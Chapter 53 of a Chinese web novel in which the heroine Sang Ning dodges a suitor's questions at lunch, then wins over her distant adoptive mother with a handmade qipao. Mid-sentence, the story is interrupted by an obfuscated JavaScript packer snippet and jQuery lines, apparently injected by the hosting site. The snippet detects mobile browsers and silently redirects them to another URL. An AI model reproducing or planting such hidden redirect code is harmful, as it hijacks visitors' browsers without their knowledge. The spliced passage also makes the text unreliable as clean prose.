53. 第 53 章

作品:《穿作反派,但恋爱脑

    “自然。”


    景月垂下眸子应着。


    她只能这么答,若是不急,贸然爽了他的约,倒显得她不重视他似的。


    “噢?那会是什么事呢?”


    周焕飞顺理成章地问出。


    三人不由对视一眼——她们不知道啊......


    但关系都这份上了,不知道也得装知道。


    “排球社耽误了。”


    “家里有点事。”


    整场饭局,话痨汪恬恬难得张次嘴,还跟景月同时答得牛头不对马嘴。


    不过好在,她们都心照不宣地对桑宁去机场这件事守口如瓶。


    两人互相对视一眼,气氛一时有些尴尬。


    “哦?”


    周焕飞仰起眉,目光在两人之间徘徊。


    “是排球社有点急事。”


    景月飞快斜了汪恬恬一眼,坚持道,“好像元旦要举行什么排球比赛。”


    她说得有模有样,转而又打趣儿。


    “若真是家里有什么急事,我想你应该比我们先知道。”


    后知后觉的汪恬恬这才反应过来,面前可是桑宁的相亲对象,这意味着他跟桑宁家有着千丝万缕的联系。


    虽然方才桑宁在群里叫嚣是死了亲戚,可明眼人一看去机场就知是感情问题,不是那个crush,就是这个陆泽铭。


    真要穿帮了,把这事捅到桑父桑母面前,照桑宁之前家里还派邻居在学校“监视”她的尿性,她必是没好果子吃的。


    “我乱猜的。”


    汪恬恬连忙改口,脸憋得彤红,一个劲儿埋头吃饭。


    周焕飞琥珀色的瞳孔闪过一丝狐疑。


    “偷偷告诉你个关于桑宁的小秘密。”


    景月趁机调转话题,转移他的注意,“她还不会骑电动车呢!肢体协调性可差了......”


    “啊?是吗?”


    周焕飞眸色一亮,立即来了兴趣。


    “......”


    中午的饭局在景月的高情商情绪调动中友好结束。


    可汪恬恬和苏钦却觉如坐针毡。


    一来插不上话,二来普通女生面对大帅哥都比较拘谨,菜都不太好意思夹。


    “现在觉得那句话关于饭局的话,叫什么来着,还挺有道理的。”


    坐在下午上课的阶梯教室里,汪恬恬颇有些感慨。


    “够不上的局,不要硬挤。”


    苏钦心有灵犀。


    两人一同叹气,视线正好对上正翘着二郎腿、神采奕奕打手游的景月,意外地异口同声,“这个婆娘除外!”


    “什么局不局的,多参加慢慢就习惯了,等你们像我这样吃顿好的都靠蹭,就会觉得脸不脸的没啥重要的哈。”


    景月素来坦荡。


    可这种坦荡又令人有点心疼。


    “哎,你元旦也不回家吗?”


    汪恬恬凑过去问景月。


    她抽空“嗤”了声,“什么元旦?我过年都不回家。”


    “要不,你过年回我家?包吃住、管饱!”


    汪恬恬心生怜悯,以为话都到这份上了,对方定是感动得痛哭流涕。


    可下一瞬,景月从手游中探出头来,眼冒精光。


    “过年这么大好的赚钱机会,我会放过?”


    “得。”


    汪恬恬佯装抱臂,“跟你的钱过去吧!”


    就在离上课还有五分钟,偌大的阶梯教室人满为患时,桑宁终于风尘仆仆地赶到了,嘴上依旧叼个馒头。


    与上午的出场如出一辙,让人有种时空错乱的感觉。


    “不是,你都哪儿买的馒头啊?还顿顿都能买到。”


    汪恬恬关注的华点似乎格外不一样。


    “你姐们我连午饭都吃不上?你问我在哪儿买的?汪女士,你有没有同情心吶?”


    桑宁牙尖嘴利,并狠狠撕了一口馒头,还不忘回答,“早上买了两个,剩的。”


    “我的意思是,我们帮你打包了饭菜,你不用啃馒头。”


    汪恬恬说着便变戏法似地从身后掏出一个打包盒。


    “呜~~恬恬你真的太好了。”


    桑宁抹了把干眼角,连忙抱住室友的救济粮,一掀开,海鲜豪华套餐吶!


    没有赶上饭点的遗憾愈发深刻了。


    “要谢,谢周焕飞,他请的客。”


    汪恬恬爱憎分明,顺嘴问道,“话说,你今天上午到底为啥要逃课啊?”


    桑宁包了一口大鲍鱼,一脸艰难咀嚼的样子。


    “我crush出国了,送他。”


    “那还回来不?”


    汪恬恬顺嘴一问,恰逢景月一局结束,三个人的注意力都集中过来。


    “回来也不关我事了。”


    桑宁吃着怪噎,说起话来含含糊糊的。


    “这么肯定?”


    汪恬恬有点不可思议,猜测道,“你们今天说明白了?”


    桑宁抬起嘴巴包得鼓鼓的脸,一愣。


    还别说,话没说明白,脖子倒给亲...不是,咬了一口。


    还真没让她看明白。


    “你想归想,脸红什么?”


    汪恬恬观察仔细地揶揄。


    “热、热的。”


    桑宁匆忙咽了口,急着解释,差点呛到。


    “唔~~直接pass那个最钟意的。”


    汪恬恬语气还颇有些遗憾。


    桑宁差点喷饭,菜都顾不上咽,直接回怼,“谁跟你说他是我最钟意的?”


    “那我换个问题。”


    看着对方一副口是心非的模样,汪恬恬一脸一言难尽,“陆泽铭跟周焕飞你选哪个?”


    这个问题倒真把桑宁问住了,她哪个都不想选,正好呼应上个问题。


    好像还真是那么回事。


    “不是,这天底下男人那么多,我就非得在他们三个之间选吶?”


    桑宁立即跳出选择怪圈。


    “姐们,他们三个你都看不上?你还能看上谁?”


    汪恬恬斜了她一眼,一股子身在福中不知福的酸味。


    桑宁恰好吃到一口贝壳肉,跟牛皮一样硬,她嚼了又嚼,眼神定定地望着汪恬恬,透着一股子戏弄味儿。


    “比如...成世子?”


    这下算踢到汪恬恬这块铁板了,她气得呼吸一喘、眼眶泛红——就差跪下了。


    她一把握住桑宁拿筷子的手,连珠炮般的客套话都不带歇的。


    “宁宁,其实我觉得那个周焕飞就挺好,长得帅、家境好、还跟你门当户对,那叫个天作之合!”


    “陆泽铭多酷啊,那小架子鼓敲得多敞亮,才华横溢啊,跟你那叫男才女貌!”


    “你那个crush不就出趟国,现在交通多发达了,没准下周就回来了,你看他又帅又是大学教授又是开公司,名利双收,跟你那不是妥妥的金童玉女!”


    “......”


    桑宁被唬得嘴角抽抽的。


    好了,拜她这个好室友所赐,现在她不用做选择了。


    她全都要!


    ***


    周一下午放学,桑宁没回宿舍,反而直接坐司机的车回了桑府。


    如今桑祖兴、季汝慈、桑季川都在,正是她培养感情的关键时期,她打算之后晚上都不住宿舍了,改走读。


    自上周六季汝慈犯了头疾,她便闭门不出再未见人,算来也两天了。


    晚饭过后,她特地去问了王妈,王妈说她饭后去小区逛园子了。


    桑宁立马收拾了一下,临出门前想了想,顺手带了件水貂毛披风。


    冬季的傍晚四处灰蒙蒙地,透着股刺骨的凉意。


    她独自在小区溜达了一圈,脸都溜红了,终于在黄梅林那块碰见了季汝慈。


    她一身合体旗袍,外披了件长款羊绒大衣,原是精神抖擞的一身装扮,可她兀自坐在黄梅林中央的小亭子里发呆,就显得格外落寞。


    才下了一场大雪,严寒过后,黄梅正绽着香。


    “妈,难怪您在这儿,好香吶!”


    桑宁快步走过去,给她肩上披上水貂毛披风,并挨着坐下,猛猛呼吸了几口,脸上挂着舒展的笑意。


    季汝慈回过神来,看见来人,有些不自在。


    她对桑宁的感情一向就很复杂,当年桑宁的“宁”字还是她取的。


    她希望她的到来能给这个家带来安宁,不负所托,桑宁也从很大程度上治愈了她的丧女之痛。


    她本是盼着她好的,可她越是过得好,她便越是对走丢的桑季辰心生愧疚,指不定她还活在哪个角落吃苦受累呢。


    “梅花香自苦寒来,这越冷啊,梅花便越是香。”


    季汝慈强撑着接了句。


    “那妈你也别光顾着香,这天儿也逐渐寒了,要当心身体才是。”


    桑宁说着,便想捧起季汝慈的手搓热,却被她下意识抽了出来。


    她不想不喜欢跟她这个继女有什么肢体接触。


    可面对桑宁满脸受伤的神情,季汝慈面上有些挂不住了,她忙出声解释。


    “你给我带了披风,我不冷。”


    她又用手摸了摸,夸赞道,“这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17022844|189088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水貂毛的就是暖和,你有心了。”


    可桑宁脸上的表情依旧是一副受伤心疼的模样。


    “那我没来呢?您一个人坐在这儿很冷吧。”


    这孩子,非但不怪罪她的疏离,反而还体谅她的愁苦。


    一下子便戳到了季汝慈的心窝子。


    自桑季辰丢了,她便有了心病。


    国外的生活确实比国内宁静,又有桑祖兴与桑季川陪着,她本该知足,可总觉心里空荡荡的,没有着落。


    直到这句问她冷不冷,她才恍然悟到,这么些年,她竟没有一日不煎熬。


    突然,她就不知道该怎么答。


    “让我陪着你吧,妈。”


    桑宁恳求道,她再次握住了她的手,用了些力,让季汝慈一时挣脱不了。


    “我知道您不止有我一个女儿,可我只有您这一个妈。您不知道,我在学校可羡慕那些有妈妈陪着的同学了。”


    她本就无辜的嗓音陪着泫然欲滴的泪水,顿时便令季汝慈的愧疚抵达顶峰。


    以往,她太自私了,只顾自己,进而忽略了桑宁也是个活生生的人。


    她既同意收养她,就该担起一个母亲的责任。


    “宁宁,对不起。”


    “以后,我们好好相处。”


    季汝慈回握住她的手,并将她轻轻拥在怀里。


    之后母女两人有说有笑地回到家里,令坐在客厅看新闻联播的桑祖兴和桑季川大跌眼眶,大气都不敢出。


    直到目送母女两人进了二楼的房间,桑祖兴才朝桑季川挤眉弄眼。


    “怎么回事?”


    桑季川却是一副早有预料的样子,唇角抹开一弯弧度。


    “冰释前嫌了呗。”


    其实早在他在机场看到桑宁捧着一束黄梅的时候,便心知她这是要拿下他们一家子了。


    可他就是喜欢这样的桑宁。


    视线来到楼上,桑宁已迫不及待地给季汝慈展示她熬了几个大夜的杰作——一身白玉牡丹暗纹绣金桔报喜蟠龙扣旗袍。


    布料选用上等苏绣,精工剪裁,花样独特,款式大气。


    “这是哪家师傅的手艺?真不错。”


    季汝慈一见便爱不释手。


    “妈,是我亲手为您做的。”


    桑宁说着,便带她来到了她专门在房间一角开辟的工作间,桌上还放着些残余布料。


    “你做的?”


    季汝慈满脸不可思议,她抚摸着衣缝缜密的针脚。


    她印象中的桑宁大大咧咧,脾气来了,路过的狗都要踹上几脚,年岁大了,竟还摆弄上针线了。


    “那不是你喜欢嘛,其实我小时候可喜欢看你穿旗袍了,总觉得我妈妈就是全天下最端庄漂亮的女子。”


    桑宁嗔怪的语气与恰到好处的赞美令季汝慈的心软成一片。


    这么些年,她一直强迫自己不要把桑宁放在心上,可谁成想,她自己竟一直活在对方的憧憬之中。


    她泛红的眼眶不自觉便蓄了泪,她甚至觉得自己根本配不上她的好。


    “桑宁......”


    她唤了她一声,满心满意的歉疚。


    “妈,道歉的话就不要再说了,以后我们母女来日方长呢!”


    桑宁牵起她的手,催促道,“快去换上试试,看需不需要改。”


    “哎。”


    季汝慈应了一声,便想拿着旗袍回房换。


    “对了,妈,你说好带给我带的礼物呢?”


    桑宁伸手讨要,一副小女儿的娇气神情。


    季汝慈一愣,她压根就没准备,之前在桌上也是客套话,想着在衣帽间随便拿个包啊、首饰的就搪塞过去了。


    可如今,她不这么想了,她觉得她的女儿值得更好的。


    “呀,我这记性,早前通知我去取了,还没去拿呢。”


    “下次,我带你一起去。”


    “谢谢妈~~”


    自桑宁跟季汝慈解开心结后,整个桑府都热闹了许多。


    只要桑宁有空,她们母女俩不是挤在沙发上追剧,就是围坐在茶室里喝茶聊天,再就是在房间里对刚从商场采买的战利品评头论足。


    季汝慈肉眼可见地开心起来,体会了一把有女儿的快乐。


    桑祖兴与桑季川自是也看在眼里、乐在心里。


    “早知道你妈这么喜欢,早几年我们就该搬回来。”


    一日,桑祖兴突然感叹道。


    “你们啊,就不该扔下她。”


    桑季川面无表情地怼了句。


    桑祖兴一愣,随之长叹一声。